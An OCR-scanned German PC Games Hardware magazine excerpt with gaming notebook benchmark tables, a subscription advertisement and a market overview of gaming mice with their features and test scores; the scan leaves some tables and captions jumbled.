spürbar sein dürfte. Die aktuelle In- 
tel-CPU ist in den neuesten Notebooks 
aber nicht unbedingt die wesentliche 
Verbesserung, die den Kaufgrund eines 
aktuellen Modells darstellen. 


Begleiters. 


феди 17 G9-793 772H 


Hardware 


mit 34 Wertungskriterien 
Produkt GT73VR 7RF Titan Pro Predator 17 G9-793 772H Alienware 15 P57W v7 
Hersteller MSI Acer Dell Gigabyte 
|Preis/Preis-Leistungs-Verhältnis [CS 3.500 Euro/ausreichend Ca. 2.500 Euro/gut Ca. 2.450 Euro/befriedigend Ca. 1.800 Euro/gut 
PCGH-Preisvergleich www.pcgh.de/preis/1558334 www.pcgh.de/preis/1560694 Nicht aufgeführt www.pcgh.de/preis/1573478 
Ausstattung (20 %) 1,50 1,65 2,05 2,16 


Prozessor Intel Core i7-7820HK, 4 x 2,9 GHz Intel Core i7-7700HQ, 4 x 2,8 GHz Intel Core i7-7700HQ, 4 x 2,8 GHz Intel Core i7-7700HQ, 4 x 2,8 GHz 

Grafikkarte Nvidia Geforce GTX 1080/8G Nvidia Geforce GTX 1070/8G Nvidia Geforce GTX 1070/8G Nvidia Geforce GTX 1060/6G 

Hauptspeicher 32 GiByte DDR4-2400 16 GiByte DDR4-2400 16 GiByte DDR4-2400 16 GiByte DDR4-2400 

Interner Speicher 2 x 256 GB PCle-SSD (M.2, RAID), 1 TB HDD |256 GB PCle-SSD (M.2), 1 TB HDD 256 GB PCle-SSD (M.2), 1 TB HDD 256 GB SATA-SSD (M.2), 1 TB HDD 

Display 17,3 Zoll, 1.920 x 1.080 Pixel, 120 Hz, 17,3 Zoll, 1.920 x 1.080 Pixel, 75 Hz, 15.6 Zoll, 1.920 x 1.080 Pixel, 120 Hz, 17,3 Zoll, 1.920 x 1.080 Pixel, 60 Hz, IPS 
G-Sync, IPS G-Sync, IPS G-Sync, TN 

Anschlüsse 1 x mDP, 1 x HDMI, 5 x USB 3.0, 1 x USB |1 x Displayport, 1 x HDMI, 3 x USB 3.0, 1 x |1 x mDP, 1 x HDMI, 3 х USB 3.0, 1x USB 1 x mDP, 1 x HDMI, 3 x USB 3.0, 1 x USB 
3.1 (Typ C), VGA, RJ-45, Kopfhórer, Mikrofon, | USB 3.1 (Typ C), RJ-45, Digital Line-Out, Line |3.1 (Typ C), VGA, RJ-45, Digital Line-Out, Line |3.1 (Typ C), VGA, RJ-45, Digital Line-Out, Line 
Line-in, SD-Reader In, Mikrofon, SD-Reader In, Mikrofon, SD-Reader In, Mikrofon, SD-Reader 

Besondere Ausstattung Line-out (7.1 analog, S/PDIF), 2.1 Dynau- Normaler Displayport-Anschluss, Extratasten, |Kanten, Tastatur und Touchpad (RGB) be- Hot-Swap für ODD/HDD, Dolby Digital Plus 
dio (Nahimic Audio Enhancer), Steelse- DVD-Wechsellaufwerk mit Lüftermodul leuchtet, Tobii Eye Tracker, Anschlüsse an der | Sound 
ries-RGB-Tastatur, Cooler Boost Rückseite 

Eigenschaften (20 %) 2,15 2,10 1,87 2,06 

Akkukapazität/Laufzeit 75,9 Wh/3 Std. 43 Min. 90,0 Wh/4 Std. 28 Min. 94,9 Wh/4 Std. 25 Min. 75,8 Wh/ 3 Std. 49 Min. 

Haptik und Ergonomie Sehr gut Gut Gut Gut 

Verarbeitung Sehr gut Sehr gut Sehr gut Gut 

Gewicht 4,1 kg 4,2 kg 3,55 kg 3,21 kg 

Garantie 2 Jahre (Pickup & Return) 2 Jahre (Pickup & Return) 1 Jahr (Vor-Ort-Service) 2 Jahre 

Leistung (60 %) 1,53 1,50 1,71 2,11 

Bildqualität Sehr gut Sehr gut Sehr gut Sehr gut 

Cinebench R15 (Single/Multi) 153/777 Punkte 161/744 Punkte 161/744 Punkte 134/458 Punkte 

3D Mark (Timespy) 6599 Punkte 4989 Punkte 5224 Punkte 3517 Punkte 


The Witcher 3, „Boat Trip" (min./avg.) 


115/120,4 Fps 


87/94,2 Fps 


87,7/96,4 Fps 


52,2/65,8 Fps 


Ethan Carter Redux, , Tracks" (min./avg.) 
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91/98,5 Fps 


© Top-Leistung 
© Helles 120-Hz-Display 
© Schwer und laut 


Wertung: 1,64. 
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66,8/72,9 Fps 


© Wechsellaufwerk 
© Viele Extratasten 
© Schwer 


Wertung: 1,65 


69,3/75,4 Fps 


© Gute Akkulaufzeit 
© Helles 120-Hz-Display 
© Schwer für 15 Zoll 


Wertung: 1,81 


47151,7 Fps 


© Großer Akku 
© Wechsellaufwerk 
© Keine Tastaturbeleuchtung 


Wertung: 2,11 


ANZEIGE 


Werbefrei 


surfen! 


In der ersten Ausbaustufe erlaubt das 
PCGH-Online-Abo, dass Sie PCGH.de und 
das Extreme-Forum frei von externen 
Werbemitteln nutzen können. Das gilt für 
jegliche Display- und Videowerbung. Das 
aktive Online-Abo führt zu schnelleren 
Ladezeiten und auf Mobilgeräten spart es 
auch Datenvolumen. 


Bestehende Print-Abonnenten können 
kostengünstig per Upgrade (6 Euro im 
Jahr, Monatspreis: 50 Cent) das Online- 
Abo hinzubuchen oder gleich die Digital- 
ausgabe hinzubestellen (12 Euro im Jahr, 
Monatspreis: 1 Euro). Diese beinhaltet ne- 
ben dem Online-Abo zudem die digitalen 
Ausgaben als E-Paper-PDF sowie den Zu- 
griff auf die App-Ausgaben (www.pcgh. 
de/digital-ausgabe). Wer ein Digital- 
Abo oder ein Kombi-Abo Digital + Print 
von PC Games Hardware besitzt, bekommt 
das Online-Abo dazu. 


bo auf das Digitalabo 


Display- & Videowerbung 
wird ausgeblendet 

unktic t auf PCGH.de 
und PCGH Extreme 
Seht ı ktop-PCs auch 

d & Tablets = 


funktionier 


Geht neben Des 
auf Smartphone 


CH 
e, Abo [serre О 


games Q world ғи 5 ë 


PCGH-Webseite ” 


= wissen müssen 


= ° 
[1-5 
Online 


werbefrei 


VES PARDINARE 


Wie bereits im April angekündigt, ist das Online-Abo von PC 


Games Hardware mit dem heutigen Tage aktiv. In diesem Artikel erfahren Sie alles, was 


Sie darüber wissen mussen. 


Inhaltsverzeichnis 


Weitere Informationen finden Sie unter: 
www.pcgh.de/online-abo 


Leserservice Computec Media 


20080 Hamburg | Tel: +49 (0)911/99399098 | E-Mail: computec@dpv.de A 
Montag: 07:00 Uhr bis 20:00 Uhr Dienstag-Freitag: 07:30 bis 20:00 Uhr Samstag: 09:00 bis 14:00 Uhr werbelrel 


Computec Media Group 
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Die wollen 
doch nur spielen! 


RGB-Lichttricks, wechselbare Omron-Schalter, modifizierbare Tastenwiderstände, ein Zwölf-Button- 
Block, Vibrationsfeedback und ein Mini-Display: Unsere Marktübersicht zeigt, ob eine gute Spieler- 
maus diese Extras wirklich braucht. 
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\Ҳ 7elche Extras benötigt eine 
empfehlenswerte Gamer- 


Maus? Glaubt man den Herstellern, 


sind Dinge wie austauschbare Om- 
ron-Schalter für die Haupttasten 
(Asus Gladius ID, ein Mini-Bild- 
schirm und ein Vibrationsfeedback 
am Mausrücken (Steelseries Rival 
700), ein für MOBA/MMO-Spieler 
konzipierter Zwölf-Tasten-Block 
(Corsair Scimitar Pro RGB) oder 
ein Mechanismus zum Einstellen 
des Widerstands der Haupttasten 
(Razer Mamba 2015) unverzichtbar 
für ein optimales Spielvergnügen. 
Gilt das auch für ein Feature wie die 
RGB-Beleuchtung, die bei allen acht 
Testkandidaten mit unterschied- 
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lichem Umfang (Beleuchtungszo- 
nen/Effektpalette) vorhanden ist? 
Auch hier rühren die Eingabegerä- 
tefirmen die Werbetrommel, ohne 
jedoch den Lichtspielereien - mit 
wenigen Ausnahmen - nützliche 
Funktionen zuzuordnen. Wer nicht 
gerade gesteigerten Wert auf eine 
spektakuläre Regenbogen- oder 
bunte Pulsiereffektoptik auf dem 
Schreibtisch legt, kann darauf ge- 
trost verzichten; obwohl kaum 
noch eine Maus ohne Belechtung 


im RGB-Farbraum angeboten wird. 


Vom dem Trend, dass die Sensor- 
technik bei den neuen Spielermäu- 
sen weg von der Laser- und hin zur 


die 


Körtware 


Da 


iele Spielermäuse dieser 
rktübersicht machen 
it besonderen Aus- 


tungsfeatures auf sich 


aufmerksam. Wie haben uns 


interessantesten Extras herausgesucht und 


zeigen sie Ihnen im Video, das Sie auf dem 


enträger mit unserer Vollversion finden. 


Mit einem nach vorn und hinten verschiebbaren Zwölf-Tasten-Block hat Corsair mit der 
aufwendig beleuchteten Scimitar Pro RGB vor allem den MOBA/MMO-Spieler im Visier. 


Steelseries’ Maus-Flaggschiff, die Rival 700, hat mit einem OLED und einer Vibrations- 
funktion für das haptische Feedback gleich zwei Alleinstellungsmerkmale zu bieten. 


Infrarotabtastung geht, profitieren 
PC-Spieler dagegen sehr deutlich. 
Sehr hohe Dpi-Zahlen von 12.000 
Dpi und mehr werden dank prä- 
ziser Infrarotsensoren, denen bei 
Mäusen der Preisklasse ab 60 Euro 
ein Mikroprozessor (ARM-CPU/ 
MCU) bei der Untergrundkalibrie- 
rung und Modifiaktion des Angle- 
Snappings hilft, besser 
kontrollierbar. Zusätzlich sinkt die 
Lift-Off-Distanz unter die 1,5-Milli- 
meter-Marke. Das betrifft auch vie- 
le Modelle dieser Marktübersicht. 
Welche das sind und welche wei- 


immer 


teren Ausstattungswunder die neu- 
este Mausgeneration auf Lager hat, 
erfahren Sie im Folgenden. 


Asus Gladius ll: Mit neuem Sensor 
und niedriger Lift-Off-Distanz zum 
Testsieg. Die beiden auffälligsten 
Änderungen, die Asus der neuen 
Gladius II spendiert, sind der (Sni- 
per-)Knopf in der Daumenmulde 
sowie die geänderte Beleuchtung, 
die jetzt am Mausrad, dem Hecklo- 
go sowie dem Unterboden in vol- 
lem RGB-Farbspektrum erstrahlt. 
Für die Lichtspielereien stehen in 
der sehr umfangreichen Armoury- 
Software sechs Modi bereit, eine 
Synchronisation mit Asus’ Aura- 
Beleuchtungssoftware ist ebenfalls 
möglich. Die technische Neuerung 
beim zweiten Gladius-Modell ist 
der Pixart PMW 3360, der per 
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Wie den Vorgänger liefert Asus den Testsieger, die Gladius 11, mit zwei Mauskabeln, 
einer Transporttasche und zwei zusätzlichen Omron-Schaltern für die Haupttasten aus. 


Razers Mamba 2015 ist nicht nur ergonomischer als die Urversion, mit ihren per Werkzeug 
modifizierbaren Tastendruckpunkten verfügt sie auch über ein Alleinstellungsmerkmal. 


Creatives SB X Siege M04 debütiert erfolgreich in der Eingabegerätesparte. Die RGB- 
Beleuchtung ist jedoch dezent, denn für Effekte steht nur die Bodenpartie zur Verfügung. 
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Infrarot-LED mit bis zu 12.000 Dpi 
abtastet und der dank ARM-CPU- 
Unterstützung mit einer sehr nied- 
rigen, in der Software festlegbaren 
Lift-Off-Distanz von unter einem 
Millimeter überrascht. Zusätzlich 
findet man in der Software noch 
Optionen für das Angle-Snapping 
sowie die Untergrundkalibrierung. 
Im internen Speicher der Gladius 
II ist Platz für drei Profile nebst 
Makros, deren Länge 30 Zeichen 
nicht überschreiten darf. Wie den 
Vorgänger liefert Asus auch die 
Gladius II mit zwei Anschlusska- 
beln (siehe Testtabelle) aus, ein 
Paar Omron-Ersatzschalter für die 
beiden Haupttasten sind auch wie- 
der mit im Karton. Lediglich die 
Möglichkeit, eine Polling-Rate von 
2.000 Hz zu wählen, fehlt diesmal. 


Asus hat bei der Gladius II aber 
nicht nur die Abtasttechnik und die 
Auch 
die Gummierung der Griffmulden 
wurde erneuert und die Form hat 


Lichtspielereien geändert. 


ein paar kleinere Überarbeitungen 
bekommen. Im Vergleich mit dem 
Vorgänger hat sich dadurch die 
Ergonomie verbessert, sodass die 
Asus Gladius II nun unabhängig 
vom Griffstil genauso angenehm in 
der Hand liegt wie die Razer Mam- 
ba 2015 oder Roccat Kone EMP. 
Natürlich profitiert der Spieler 
auch vom Wechsel auf den neuen 
Sensor, der präzise und latenzfrei 
abtastet und auch mit 12.000 Dpi 
erstaunlich gut zu handeln ist. 


Razer Mamba 2015: Gelungene, aber 
nicht günstige Neuauflage mit modi- 
fizierbarem Tastendruck. Razer hat 
die von Spielern sehr geschätzte 
Mamba in zwei Varianten neu auf- 
gelegt. Das Kabelmodell, die Razer 
Mamba TE, haben wir bereits in 
der Marktübersicht der Ausgabe 
01/2016 getestet (Note: 1, 41). Nun 
folgt die drahtlose Variante, die 
Mamba 2015, die mit dem 5G-Laser- 
sensor, ihren sieben Tasten sowie 
ihrer RGB-Beleuchtung über diesel- 
be Ausstattung wie das verdrahtete 
Pendant verfügt. Die Besonderheit 
bei der Mama 2015, deren Empfän- 
ger gleichzeitig auch als Ladesta- 
tion für den Akku im Inneren der 
125 gleichten Maus fungiert, ist die 
von Razer entwickelte Adjustable- 
Click-Force-Technologie, die es 
möglich macht, den Auslösedruck 
der beiden Haupttasten zu modifi- 
zieren. Dieses Alleinstellungsmerk- 


mal ist sehr nützlich, denn so kann 
der Spieler selbst bestimmen, wie 
hoch der Widerstand respektive 
wie hart/weich der Druckpunkt 
der Haupttasten ausfallen soll. 


In puncto Form und Größe gibt 
es dagegen keinen Unterschied 
zwischen den beiden Mambas, so 
bietet auch die 2015er-Variante die 
besser erreichbar hinter dem Scroll- 
rad platzierten Dpi-Umschalter so- 
wie die geänderten Seitenpartien, 
die nun mit einer großflächigen 
und griffigen Gummischicht mit 
Struktur versehen sind. Die mit ei- 
nem Speicher für Profile und Ein- 
stellungen bestückte Mamba 2015 
liegt gerade beim Palm-Grip noch 
geschmeidiger in der Hand als die 
Urversion. Auch die Software mit 
Online-Zwang fällt deutlich um- 
fangreicher aus als beim Vorgän- 
ger und beinhaltet Optionen zur 
Minimierung der Lift-Off-Distanz 
(Sensorabstand) und Oberflächen- 
kalibrierung. In Kombination mit 
dem 16.000-Dpi-Lasersensor (ver- 
mutlich Philips PLN 2033) sorgt 
das für eine sehr präzise und verzö- 
gerungsfreie Abtastung. 


Roccat Kone EMP: Brandneues Mo- 
dell mit neuer Abtasttechnik und 
gewohnt handschmeichelnder Form. 
Von den zusammengerückten Dpi- 
Umschaltern sowie dem leicht ver- 
breiterten Scrollrad abgesehen gibt 
es äußerlich keinen Unterschied 
zwischen der Kone EMP und ihrem 
Vorgänger der Kone XTD. Ände- 
rungen findet man dagegen bei der 
Ausstattung und Abtasttechnik der 
neuen Kone EMP. Das Gewichtsys- 
tem der Kone XTD hat Roccat bei 
der Kone EMP eingespart und bei 
der Abtasttechnik findet mit dem 
Roccat-Owl-Eye-Sensor (modifizier- 
ter Pixart PMW 3361), der bis zu 
12.000 Dpi abtastet, ein Wechsel 
von der Abtastung per Laser zum In- 
frarotsensor statt. Ansonsten setzt 
Roccat bei der Ausstattung auf Alt- 
bewährtes: Die Easy-Shift-Funktion 
erlaubt die Tastendoppelbelegung 
für insgesamt 21 Funktionen, der 
512 kb große Speicher fasst fünf 
Profile nebst der Beleuchtungsein- 
stellungen und sehr langen Makro- 
Ketten und die ARM-CPU (50 MHz) 
steuert die Distance Control Unit, 
kurz DCU. Diese sorgt unter ande- 
rem dafür, dass die Lift-Off-Distance 
trotz IR-Abtastung bei niedrigen 1,5 
mm (Werksangabe DCU: 2 mm) 
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liegt. Schaltzentrale für all diese 
Features ist die vor allem bei der 
Makroprogrammierung sehr um- 
fangreiche, einfach bedienbare 
Software. Die Tatsache, dass hier 
jedoch Optionen zum Angle-Snap- 
ping und die bei der Kone XTD als 
Tracking Controll Unit (kurz: TCO) 
bezeichnete Untergrundkalibie- 
rung fehlen, sorgt für Punktabzüge. 
In puncto Ergonomie, Tasten- 
druckpunkte und Abtastleistung 
gibt sich die Kone EMP keine Bló- 
ße. Die Ergonomie ist auch hier für 
alle Griffstile wieder sehr gut, da 
sie die exakte Form des Vorgängers 
erbt. Bei den Tastendruckpunkten 
der Daumentasten und des Dpi- 
Schalters sind sogar Verbesserun- 
gen zu spüren und das neue Scroll- 
rad besitzt eine feine, sehr gute 
Rasterung. Dazu kommt eine feh- 
lerfreie Abtastung des neuen Owl- 
Eye-Sensors, bei der keine Pfadbe- 
gradigung festzustellen ist. 


Corsair Scimitar Pro RGB: Dank tol- 
ler Ausstattung nicht nur für MOBA/ 
MMO-Spieler interessant. Mit dem 
Alleinstellungsmerkmal, 
12-Tasten-Block, der mit Makros be- 
legt und horizontal in seiner Positi- 
on verschoben werden kann (Key- 
Slider-System), hat Corsair primär 
den MOBA/MMO-Spieler im Visier. 
An der großen Anzahl von frei pro- 
grammierbaren Knöpfen und der 


einem 


Top-Ausstattung könnten aber auch 
Spieler anderer Genres Gefallen fin- 
den. Ein weiteres Highlight der 147 
Gramm schweren Maus ist ihre die 
RGB-Beleuchtung. Unabhängig von 
der Tatsache, dass bunte Lichtspie- 
lereien bei Mäusen eigentlich eher 
optionales Zubehör sind, verfügt 
die Scimitar Pro RGB über fünf 
Beleuchtungszonen (siehe Testta- 
belle). Für die stehen in der sehr 
umfangreichen, aber teils Kompli- 
ziert bedienbaren Software 12 Ef- 
fekte nebst Modifikationen wie Ge- 
schwindigkeit und Intensität bereit. 
Obwohl der Speicher groß genug 
für drei Profile inklusive der Makro- 
und Beleuchtungseinstellungen 
ausfällt, kann man diese nur an PCs 
mit installierter CUE-Software nut- 
zen. Letzteres gilt auch für die fest- 
gelegten Dpi-Stufen und die Einstel- 
lungen bei der Polling-Rate (1.000 
Hz möglich), der Lift-Off-Distanz 
(Hubhöhe), der Untergrundkalib- 
rierung sowie dem Angle-Snapping 
(Eckenglättung). 
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Obwohl Corsair den Bereich der 
Daumenmulde mit dem in seiner 
Position modifizierbaren Zwölfer- 
Tastenblock belegt, kann auch der 
Palm-Grip-Spieler die sehr gleitfä- 
hige Scimitar Pro RGB problemlos 
nutzen. Der Druckpunkt der Tas- 
ten ist bewusst sehr hart gewählt 
und deren Oberfläche verfügt 
über eine griffige Struktur, sodass 
man die Knöpfe nicht ungewollt 
auslöst und beim Führen der Maus 
trotzdem Halt hat. Der Pixart-PMW- 
3367-Lasersensor leistet sich auch 
bei maximalen und gewöhnungs- 
bedürftigen 16.000 Dpi keine Feh- 
ler. Eine niedrige Hubhöhe von 
unter einem Millimeter und eine 
Oberflächenkalibrierung unter- 
stützen die präzise und verzöge- 
rungsfreie Abtastung. 


Steelseries Rival 700: Spielpartner, 
der haptisch und optisch Feedback 
gibt. Die Rival 700 ist das Top-Mo- 
dell der Rival-Serie, die Steelseries 
gleich mit zwei speziell für den Ga- 
mer konzipierten Alleinstellungs- 
merkmalen ausstattet. Das eine ist 
ein 128 x 36 Pixel großes OLED, 
das für selbst gestaltete, animier- 
te Bilder, aber auch für visuelles 
Feedback (Gesundheit/Muniti- 
onsstand) in kompatiblen Spielen 
genutzt werden kann. Die zweite 
Besonderheit ist der Vibrations- 
motor im Heck, der ein haptisches 
Feedback gibt, welches ebenfalls 
ins Spielgeschehen eingebunden 
werden kann. Selbiges gilt auch für 
die RGB-Beleuchtung, deren Farbe 
und Effekte für das Scrollrad und 
das Logo am Heck separat in der 
umfangreichen, intuitiv bedienba- 
ren Steelseries-Engine eingestellt 
werden können. In der Software, 
in der Optionen zum Modifizieren 
der mit 1,2 mm schon niedrigen 
Lift-Off-Distanz sowie zur Unter- 
grundkalibrierung fehlen, hat der 
Spieler unter dem Reiter „Game- 
sense“ die Möglichkeit, die Be- 
leuchtung, die Darstellung im Mini- 
Display und den Tastensensor für 
bestimmte Games zu konfigurieren 
- für Counter-Strike Source, DOTA 
und Minecraft stehen sogar schon 
Voreinstellungen parat. Wie bei 
den früheren Sensei-Modellen lässt 
sich nur eine alternative Cpi-Zahl 
per Knopfdruck wählen (Ein-Cpi- 
Schritte möglich) und der interne 
Speicher hat Platz für fünf Profi- 
le inklusive Makro-Einstellungen 
(max. 256 Zeichen möglich). 


Roccat Leadr im Vorabtest: 
Die neue drahtlose Mausreferenz? 


Roccat spendiert dem ergonomischen Tastenwunder, der Tyon (Note: 1,32), 
einen neuen Sensor sowie Funktechnik. Das Ergebnis ist die neue Leadr. 


Sehr gern hätten wir Roccats auf der CES 2017 präsentiertes Maus-Flaggschiff, die 
Leadr, in unsere Marktübersicht aufgenommen. Leider konnte uns der Hersteller nur 
ein Vorserienmodell zur Verfügung stellen, das in der Software noch nicht erkannt 
wird, sodass wir noch keine gesicherten Aussagen zu den Swarm-Zusatzfunktionen 
machen können. In puncto Technik ähnelt die Leadr zumindest laut Herstellerinfo 
der hier getesteten Kone EMP. Das heißt, auch hier kommt Pixarts Infrarotsensor des 
Typs PMW3361 zum Einsatz, der unter dem Namen Owl Eye vermarktet wird. 


Wie bei der Kone EMP übernimmt auch bei der Leadr eine ARM-Cortex-MO-CPU 

die Kontrolle über die DCU. Die Lift-Off-Distanz, aber auch die Abtastleistung 
dürften ähnlich gut ausfallen wie bei der Kone EMP. Trotz 2,4-GHz-Funkübertragung 
stellten wir beim Vorabtest jedenfalls keine Latenz 

fest. Da sie die Form, die Tastenausstattung, die 

Easy-Shift-Funktion und den 512 kb großen 

Speicher von der Roccat Tyon erbt, dürfte 

auch die RGB-beleuchtete Leadr eine sehr 

gute Bewertung bezüglich Ausstattung 

und Ergonomie einheimsen. 


S 


Ein Gewichtssystem scheint kein wichtiges Ausstattungsmerkmal zu sein. Mit der Sharkoon 
Skiller SMG1 und der Speedlink Decus Respec bieten nur zwei Mäuse dieses Feature. 
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Die Steelseries Rival 700 macht 
aber nicht nur mit ihrer funktio- 
nalen Sonderausstattung auf sich 
aufmerksam. Auch der sehr direk- 
te und knackige Druckpunkt der 
Haupttasten, die definierte Raste- 
rung des Scrollrads und die sehr 
pràzise, wenn bei 16.000 Dpi auch 
gewöhnungsbedürftige Abtastung 


Die Kone EMP ist 

Roccats erstes Kone-Modell 
mit optischem, per Infrarot 
abtastenden Sensor. 


des Pixart PMW 3360 haben uns 
gefallen. Nur bei der Form hätten 
wir uns ein weniger ausladendes 
Heck und eine breitere Frontpartie 
gewünscht. 


Creative Sound Blaster X Siege M04: 
Gelungener Einstieg mit einer an- 
standslosen Leistung. Der Soundspe- 
zialist Creative hat schon einmal im 
Jahr 2002 zwei Nager vorgestellt. 
Da die nicht unter dem neuen 
Sound-Blaster-X-Label vertrieben 
wurden, kann man nun trotzdem 
von einem Debüt in der Ein- 

gabegerätesparte sprechen. 

Dieser Einstieg ist auf jeden 

Fall erfolgreich, denn mit 

der Sound Blaster X Siege 

М04 präsentiert man eine 
Gamer-Maus, die all das bietet, 
was die Zielgruppe wirklich be- 
nötigt. Die RGB-Beleuchtung fällt 
dezent und nicht übertrieben aus 
und die Lichtspielereien beschrän- 
ken sich auf einen schmalen Strei- 


fen rund um den Mausboden. Für 
die Profilverwaltung und die Mak- 
rofunktion steht ein interner Spei- 
cher bereit, da die Software jedoch 
noch Beta-Status hat, wissen wir 
nicht, wie viele Profile und wie viel 
Makrozeichen sich abspeichern las- 
sen. Wie in der Vorabversion jedoch 
schon zu sehen ist, lassen sich das 
Angle-Snapping ausschalten und die 
Lift-Off-Distanz von 3 mm auf 2 mm 
(Angabe Creative) verringern. Eine 
Option zur Untergrundkalibrierung 
gibt es noch nicht, obwohl dies 
möglich wäre, da ein Mikroprozes- 
sor dem Pixart PMW 3360 bei der 
IR-Abtastung assistiert. Zur weite- 
ren Ausstattung, die dem Preis von 
80 Euro durchaus angemessen ist, 
gehóren ein Dpi-Umschalter, eine 
auf bis zu 1.000 Hz hochschraubba- 
re Polling-Rate sowie ein weiterer 
Satz Mausfüfse. 


Sharkoon Skiller SGM1: Günstiger, 
gut bestückter Spielkamerad. Bei 


der Skiller SGMI bleibt Sharkoon 
seiner Produktphilosophie treu und 
kombiniert eine gut bis sehr gute 
Ausstattung sowie  anstandslose 
Leistung mit einem niedrigen Preis 
von nur 40 Euro. Mit Ausnahme 
eines ARM-Prozessors, der Einstel- 
lungen zur Lift-Off-Distanz und Un- 
tergrundkalibrierung per Software 
ermöglicht, lässt die Sharkoon Skil- 
ler bei der Ausstattung wenig Wün- 
sche offen. Neben den Haupttasten 
und den beiden hinter dem Maus- 
rad positionierten Dpi-Umschaltern 
(sieben Dpi-Stufen, 50-Dpi-Schritte) 
verfügt die Skiller SMG1 noch über 
fünf M-Tasten, die sich oberhalb 
der Daumenablage befinden. De- 
ren weifses, zu grelles und damit 
nervendes Licht kann man genauso 
wenig abschalten wie die ebenfalls 
grell weiß leuchtenden vier Dioden, 
welche die gewählten Dpi anzeigen. 
Für die RGB-Beleuchtung des Maus- 
rads und des Logos auf dem Heck 
der größtenteils mit einer Anti- 


PREIS-LEISTUNGS-TIPP 
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Auszug aus Testtabelle 
mit 24 Wertungskriterien 


Produkt 


Hersteller/Vertrieb (Webseite) Asus (ww. 


Gladius 11 


Hardware 


Mamba 2015 


W.asus.com) 


Razer (www.razerzone.com) 


Kone EMP 


Roccat (www.Roccat.org) 


Hardware 


Kore EM? 


Scimitar Pro RGB 
Corsair (www.corsair.com) 


Preis/Preis-Leistung 


Ca. 90,- Euro/(befriedigend bis gut) 


Ca. 140,- Euro/ausreichend 


Ca. 80,- Euro/gut 


Ca. 90,- Euro/befriedigend 


www.pcgh.de/preis/1574884 www.pcgh.de/preis/1310490 www.pcgh.de/preis/1558194 www.pcgh.de/preis/1558629 

Bauart/Anschluss Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB 

Empfohlener Spielstil Low-, Mid- und High-Sense Low-, und Mid-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense 

Ausstattung: 1,65 1,65 1,75 1,18 

Abtastung/Lasertyp Optisch (IR-LED)/Pixart PMW 3360 Optisch (Laser)/5G-Sensor, vermutlich Philips [Optisch (IR-LED)/modifizierter Pixart PMW Optisch (Laser)/Pixart PMW 3367 

PLN 2033 3361 (Owl Eye) 

Anzahl Tasten 6 + Scrollrad 6 + Scrollrad 6 + Vier-Wege-Scrollrad 16 + Scrollrad 

Max. Auflösung 12.000 Dpi (+ Untergrundkalibrierung) 16.000 Dpi (+ Untergrundkalibrierung) 12.000 Dpi 16.000 Dpi (+ Untergrundkalibierung) 

Kabellänge Ca. 200 cm (ummantelt)/ca. 100 cm (glatt) Ca. 210 cm (Länge Anschlusskabel Lade- Ca. 180 cm Ca. 180 cm 

station) 

Sonderausstattung Dpi-Umschaltung (zwei Stufen, Dpi-Umschaltung (fünf Stufen, 1-Dpi-Schrit- |Dpi-Umschaltung (fünf Stufen, 100-Dpi- Dpi-Umschaltung (sechs Stufen, 1-Dpi- 
100-Dpi-Schritte), ARM-CPU, Speicher für te), Adjustable-Click-Force-Technologie zur Schritte), ARM Cortex МСО (u. a. DCU), Schritte), verschiebbarer Tastenblock mit 
drei Profile und Makros (max. 50 Zeichen pro | Anpassung des Auslösedrucks, ARM-CPU, alle | Makrofunktion, 512 kb Speicher (fünf Profile |zwölf Tasten (Key-Slider-System), ARM-CPU, 

rofil), mittlere Daumentaste deaktivierbar, Tasten frei programmierbar, Makrofunktion, |und Makros), RGB-Beleuchtung (vier Zonen: |Makrofunktion, Speicher für drei Profile 
RGB-Beleuchtung (fünf Modi für Scrollrad, Lo- |Profilspeicher, RGB-Beleuchtung (fünf Modi |Anfang und Ende der linken und rechten LED- |und Makros, RGB-Beleuchtung (fünf Zonen: 
go und Bodenpartie), 1.000 Hz Polling Rate, [für Scrollrad, Logo und Seitenteil), 1.000 Hz [Leiste auf der Oberschale/vier Lichteffekte Scrollrad, Logo am Heck, Front, Dpi-Anzeige 
zwei USB-Kabel (2 m/1 m), Transporttasche, [Polling Rate pro Zone), 1.000 Hz Polling Rate, Easy-Shift- | vorm Tastenblock, einzelne Tasten des Zwölf- 
Ersatz-Mausfüße, Ersatz-Omron-Schalter, zwei Tastenverdopplung Tasten-Blocks; zwölf Beleuchtungseffekte mit 
ROG Sticker Modifikationen), 1.000 Hz Polling Rate 
Eigenschaften: 1,65 1,60 1,43 1,60 
Geeignet für/Gewicht/Verarbeitung Rechtshänder/110 Gramm/sehr gut Rechtshänder/ca. 125 Gramm/sehr gut Rechtshänder/116 Gramm/sehr gut Rechtshänder/147 Gramm/sehr gut 


Druckpunkte Haupt-/Sondertasten Sehr gut/gut bis sehr gut Sehr gut (Auslösedruck anpassbar)/gut bis Sehr gut/sehr gut Sehr gut/gut bis sehr gut 
sehr gut 
Druckpunkt/Rasterung Scrollrad Gut bis sehr gut/gut bis sehr gut Gut/gut bis seht gut Sehr gut/sehr gut Gut/gut 


Funktionsumfang und Features 


Sehr gut/Lift-Off-Distanz und Angle-Snapping 


Software verstellbar, Untergrundkalibrierung (manuell/  |Distanz verstellbar, Untergrundkalibrierung, 
automatisch) keine Option für Angle-Snapping 

Leistung: 111 1,16 

Ergonomie Sehr gut (alle Griffstile) Sehr gut (alle Griffstile) 


Gut bis sehr gut (Online-Software)/Lift-Off- 


umfangreicher Makro-Editor 
1,31 
Sehr gut (alle Griffstile) 


Gut bis sehr gut/Lift-Off-Distanz (DCU) 
verstellbar/keine Optionenn für die Pfadbe- 
gradigung und Untergrundkalibrierung, sehr 


Sehr gut/Lift-Off-Distanz/Angle-Snapping 
verstellbar, Untergrundkalibrierung/sehr gute 
Beleuchtungsprogrammierung 


1,66 
Gut (für Claw-Grip optimiert) 


Prázision/1.000 Hz Polling Rate Sehr gut/j 


a, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Gleiteigenschaften 


Gut bis sehr gut 


Gut bis sehr gut 


Gut bis sehr gut 


Sehr gut 


Abtastverhalten/Lift-Off-Distanz 


FAZIT 
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Sehr gut/sehr niedrig: unter 1 mm 


© Ausstattung (Sensor и. RGB-Beleuchtung) © Druckpunkte Haupttasten variabel 
© Lift-Off-Distanz unter 1 mm 
© Ergonomie trotz Daumentaste 


Wertung: 1,32 


Sehr gut/niedrig: ca. 1 mm 


© Abtastverhalten/Ergonomie 


Wertung: 1,37 


Sehr gut/niedrig: ca. 1,5 mm 


© Ergonomie für beide Griffstile 


